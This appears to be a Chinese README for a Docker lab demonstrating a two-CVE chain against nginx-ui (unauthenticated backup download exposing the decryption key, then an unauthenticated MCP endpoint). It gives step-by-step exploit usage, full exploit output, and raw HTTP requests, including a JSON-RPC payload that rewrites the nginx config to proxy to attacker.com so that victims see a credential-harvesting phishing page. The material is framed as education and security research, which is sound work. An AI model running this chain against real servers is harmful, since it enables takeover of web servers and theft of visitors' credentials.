Docker Compose 配置,用于演示 nginx-ui 缺失身份验证漏洞
免责声明: 本仓库仅用于教育和授权安全研究目的。此处演示的所有技术只能用于您拥有或已获得明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。未经授权,请勿对任何系统运行此工具。
一个自包含的 Docker Compose 实验环境,演示针对 nginx-ui v2.3.1 的双 CVE 漏洞链,可在零先验知识的情况下实现完全接管 nginx —— 无需用户名、无需密码、无需令牌。
GET /api/backup 无需任何认证。该端点返回 nginx-ui 安装的完整加密备份(包括 app.ini),并将 AES-256-CBC 解密密钥和 IV 以明文形式放在响应头中:
X-Backup-Security: <base64_key>:<base64_iv>
来自源码(api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ 无中间件
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
解密备份可得到 app.ini,其中包含第 2 步所需的 。
[node] Secret| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 严重 |
| 受影响版本 | nginx-ui < 2.3.2 |
| 修复版本 | nginx-ui 2.3.3 |
nginx-ui v2.3.x 新增了**模型上下文协议(MCP)**接口,暴露了 12 个 nginx 管理工具。该漏洞源于 mcp/router.go 中缺少一个中间件调用:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ 缺少 AuthRequired()
攻击者通过节点密钥获取 sessionId 后,可在无任何用户凭证的情况下向 /mcp_message 发送 POST 请求,并调用任何特权工具 —— 包括 nginx_config_modify 和 reload_nginx。
| CVE | CVE-2026-33032 |
| 别名 | MCPwn (Pluto Security) |
| CVSS | 9.8 严重 |
| 受影响版本 | nginx-ui ≤ 2.3.3 |
| 修复版本 | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ 浏览器 │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ 攻击者 ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) 存在漏洞 │
│ (无凭证) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp(绿色) │ 合法登录表单 │
│ │ proxy_pass 默认配置 │ │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site(红色) │ 钓鱼克隆页面 │
│ │ 攻击后的 proxy_pass │ 窃取凭证 │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui 捆绑了自己的 nginx 实例。当漏洞利用通过 MCP 调用 reload_nginx 时,它会重新加载同一台在 :8080 上提供流量的 nginx —— 无需主机访问权限。
环境要求: Docker + Docker Compose + Python 3.10+
git clone <仓库地址>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | 受害者站点 — 绿色(合法) |
http://localhost:9000 | nginx-ui 管理面板 |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
该脚本在无任何先验凭证的情况下串联利用两个 CVE:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui 零凭证 RCE
目标 : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — 下载备份(无需认证)
[+] 从响应头获取 AES 密钥+IV: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] 提取节点密钥: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — 打开未认证 MCP 会话 (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] 侦察 — 读取当前配置
[+] 当前: proxy_pass http://webapp:80;
[*] 通过 POST /mcp_message 覆盖 default.conf(无需认证)
[+] 新配置: proxy_pass http://malicious_site:80;
[*] 通过 POST /mcp_message 重新加载 nginx(无需认证)
[+] nginx 已重新加载 — 配置已生效
[!] 攻击完成。
访问 http://localhost:8080/ 的受害者现在看到的是钓鱼页面。
查看捕获的凭证: http://localhost:8080/?debug=1
漏洞利用后,http://localhost:8080 会从绿色合法页面切换到红色钓鱼克隆页面 —— 在相同的 URL 上,受害者毫无察觉。
打开 http://localhost:8080/?debug=1 可查看攻击者面板并实时查看捕获的凭证。
python3 exploit/exploit.py --url http://localhost:9000 --reset
使用相同的 CVE 漏洞链恢复原始配置并重新加载 nginx。
GET /api/backup HTTP/1.1
Host: target:9000
响应:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
使用提供的密钥/IV 解密 zip → 提取 app.ini → 读取 [node] Secret。
请求 1 — 打开 SSE 会话(节点密钥,无需用户认证):
GET /mcp?node_secret=<uuid>
SSE 流响应返回一个 sessionId。
请求 2+ — 调用工具(完全无需认证):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
无 Authorization 头。无 Cookie。AuthRequired() 在 /mcp_message 路由上完全缺失。
| 工具 | 影响 |
|---|---|
nginx_config_modify | 覆盖任意配置文件 |
nginx_config_add | 创建新的配置文件 |
nginx_config_get | 读取任意配置文件 |
nginx_config_list | 列出所有配置 |
nginx_config_enable/disable | 启用/禁用站点配置 |
nginx_config_rename | 移动/重命名配置文件 |
nginx_config_mkdir | 创建目录 |
nginx_config_history | 查看变更历史 |
nginx_config_base_path | 揭示配置根路径 |
nginx_status | 检查 nginx 状态 |
reload_nginx | 实时应用配置变更 |
restart_nginx | 完全重启 nginx |
app.ini 中设置非空的 [node] IPWhiteList,将 MCP 访问限制为特定 IP/etc/nginx/conf.d/